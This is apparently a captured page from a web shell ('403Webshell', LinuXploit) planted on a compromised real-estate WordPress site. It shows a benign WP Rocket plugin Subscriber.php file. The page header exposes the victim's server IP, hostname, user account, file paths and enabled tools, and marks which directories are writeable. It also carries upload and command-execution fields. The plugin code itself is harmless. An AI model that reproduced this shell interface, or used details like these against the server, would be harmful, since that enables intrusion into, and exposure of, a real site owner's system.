403Webshell
Server IP : 170.10.161.225  /  Your IP : 216.73.216.78
Web Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : ON
Directory :  /home/www/calvetrealty.com/wp-content/plugins/wp-rocket/inc/Engine/Preload/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/www/calvetrealty.com/wp-content/plugins/wp-rocket/inc/Engine/Preload/Admin/Subscriber.php
<?php

namespace WP_Rocket\Engine\Preload\Admin;

use stdClass;
use WP_Rocket\Admin\Options_Data;
use WP_Rocket\Engine\Preload\Controller\ClearCache;

use WP_Rocket\Event_Management\Subscriber_Interface;
use WP_Rocket\Logger\Logger;
use WP_Rocket\Engine\Admin\Settings\Settings as AdminSettings;

class Subscriber implements Subscriber_Interface {

	/**
	 * Options instance.
	 *
	 * @var Options_Data
	 */
	protected $options;

	/**
	 * Settings instance.
	 *
	 * @var Settings
	 */
	protected $settings;

	/**
	 * Creates an instance of the class.
	 *
	 * @param Options_Data $options Options instance.
	 * @param Settings     $settings Settings instance.
	 */
	public function __construct( Options_Data $options, Settings $settings ) {
		$this->options  = $options;
		$this->settings = $settings;
	}

	/**
	 * Return an array of events that this subscriber wants to listen to.
	 *
	 * @return array
	 */
	public static function get_subscribed_events() {
		return [
			'admin_notices'                 => [
				[ 'maybe_display_preload_notice' ],
			],
			'rocket_options_changed'        => 'preload_homepage',
			'switch_theme'                  => 'preload_homepage',
			'rocket_after_clean_used_css'   => 'preload_homepage',
			'rocket_domain_options_changed' => 'preload_homepage',
			'rocket_input_sanitize'         => 'sanitize_options',
			'wp_rocket_upgrade'             => [ 'maybe_clean_cron', 15, 2 ],
		];
	}

	/**
	 * Maybe display the preload notice.
	 *
	 * @return void
	 */
	public function maybe_display_preload_notice() {
		$this->settings->maybe_display_preload_notice();
	}

	/**
	 * Preload the homepage after changing the settings
	 *
	 * @return void
	 */
	public function preload_homepage() {
		$this->settings->preload_homepage();
	}

	/**
	 * Sanitizes Preload Excluded URI option when saving the settings
	 *
	 * @param array $input Array of values submitted from the form.
	 *
	 * @return array
	 */
	public function sanitize_options( $input ): array {
		if ( empty( $input['preload_excluded_uri'] ) ) {
			$input['preload_excluded_uri'] = [];

			return $input;
		}

		$input['preload_excluded_uri'] = rocket_sanitize_textarea_field( 'preload_excluded_uri', $input['preload_excluded_uri'] );

		return $input;
	}

	/**
	 * Unlock all preload URL on update.
	 *
	 * @param string $wp_rocket_version Latest WP Rocket version.
	 * @param string $actual_version Installed WP Rocket version.
	 */
	public function maybe_clean_cron( $wp_rocket_version, $actual_version ) {
		if ( version_compare( $actual_version, '3.12.5', '<' ) ) {
			return;
		}

		wp_clear_scheduled_hook( 'rocket_preload_revert_old_in_progress_rows' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit